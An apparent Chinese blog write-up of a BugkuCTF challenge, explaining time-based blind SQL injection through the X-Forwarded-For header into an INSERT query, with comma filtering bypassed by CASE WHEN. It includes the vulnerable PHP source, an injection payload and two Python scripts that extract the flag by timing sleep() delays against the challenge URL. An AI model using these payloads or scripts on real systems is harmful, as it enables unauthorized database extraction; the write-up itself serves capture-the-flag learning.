美文网首页
BugkuCTF-Insert into 注入

BugkuCTF-Insert into 注入

作者: byc_404 | 来源:发表于2019-09-25 22:49 被阅读0次

由于种种原因,这道insert into注入始终没有做出来。类型上并不算什么顶尖难题,属于写脚本解决的xff头-sql时间盲注。但是当时在参考网上大佬的wp写了脚本后不知道为什么跑不出结果。(python还是太菜) 今天回过头来再想,又参考了另一位大佬的脚本,成功跑出结果,特此小结下:

题目链接:http://123.206.87.240:8002/web15/

首先看题头给出的源码:

flag格式:flag{xxxxxxxxxxxx}
不如写个Python吧

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

比较有意思的是注入点在XFF头,但是却用explode()函数过滤了','(逗号)。在网上求解时得知这一类过滤的解决方案:

select case when (条件) then 代码1 else 代码 2 end;

其效果相当于sql中的if,比如在进行时间盲注时:
if(substring((select user()) from 1 for 1)='e',sleep(5),1)
相当于
select case when substring((select user()) from 1 for 1)='e' then sleep(5) else 1 end
所以可以构造payload:

sql ="127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"

另外附上时间盲注的使用方法(最近在做sqli-labs,不过不想写题解,就在这总结一下),常见场景是无论对错回显都一致的情况,顺带一提布尔盲注是在错误时无回显。因此,时间盲注就是通过sleep()延时函数进行区分。因此往往我们采用的是
穷举法进行匹配,用写脚本的方式试出我们需要的flag。

本题的脚本如下,我参考了两位大佬的脚本,各有优秀之处,在这里贴出来:
https://www.jianshu.com/p/e58140710647
https://blog.csdn.net/xuchen16/article/details/82904488

注意:这里的脚本均为最后直接爆flag值的脚本,因此有默认flag是在flag表里的意思,至于前面爆库爆表怎么做应该就不用说了,直接修改(select flag from flag)即可。
当然,很多题目的套路都是flag from flag,直接猜测也不无道理。

import requests
import sys

sql ="127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://123.206.87.240:8002/web15/'
flag = ''
for i in range(1, 40):
    print('正在猜测:', str(i))
    for ch in range(32, 129):
        if ch == 128:
            sys.exit(0)
        sqli = sql.format(i, chr(ch))
        header = {
            'X-Forwarded-For': sqli
        }
        try:
            html = requests.get(url, headers=header, timeout=3)
        except:
            flag += chr(ch)
            print(flag)
            break

import requests
import string

mystring = string.ascii_letters + string.digits
url = 'http://123.206.87.240:8002/web15/'
data = "127.0.0.1'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(5) else 1 end) and '1'='1"  
flag = ''
for i in range(1, 35):
    for j in mystring:
        try:
            headers = {'x-forwarded-for': data.format(str(i), j)}
            res = requests.get(url, headers=headers, timeout=3)
        except requests.exceptions.ReadTimeout:
            flag += j
            print(flag)
            break
最后结果: flag

不得不说,时间盲注真的耗时间。

peace.

相关文章

  • BugkuCTF-Insert into 注入

    由于种种原因,这道insert into注入始终没有做出来。类型上并不算什么顶尖难题,属于写脚本解决的xff头-s...

  • Day62 Spring 依赖注入源码解析

    手动注入自动注入 依赖注入,set注入,构造注入 依赖注入: Key依据 byType byName constr...

  • Groovy:元编程(方法注入)

    category分类注入 使用metaclass实现方法注入 静态方法注入 构造函数注入 混合注入

  • sql注入的一些笔记

    注入分类 数字型注入 -字符型注入 搜索型注入 XX型注入 注入提交方式 -get提交-post提交-cookie...

  • Spring三种bean注入方式

    Spring中依赖注入有三种注入方式:一、构造器注入;二、设值注入(setter方式注入);三、Feild方式注入...

  • Spring Bean 装配

    依赖注入的方式 依赖注入可以分为3种方式: 构造器注入。 setter注入。 接口注入。 其中构造器注入和 set...

  • Spring 学习心得(二)

    Spring IOC again 参数值注入 注入基本值 注入Bean对象 注入Spring表达式值 注入nul...

  • Spring之依赖注入

    六、依赖注入 目录:构造器注入、set注入、拓展注入实现、Bean的作用域依赖注入(Dependency Inje...

  • Spring的复杂类型注入

    注入方式 set方式注入,注入基本数值类型和引用类型 数组类型注入

  • spring

    18.7.22属性注入和构造器注入区别Spring也同时支持两种依赖注入方式:设值注入和构造注入。 这两种依赖注入...

网友评论

      本文标题:BugkuCTF-Insert into 注入

      本文链接:https://www.haomeiwen.com/subject/teyzectx.html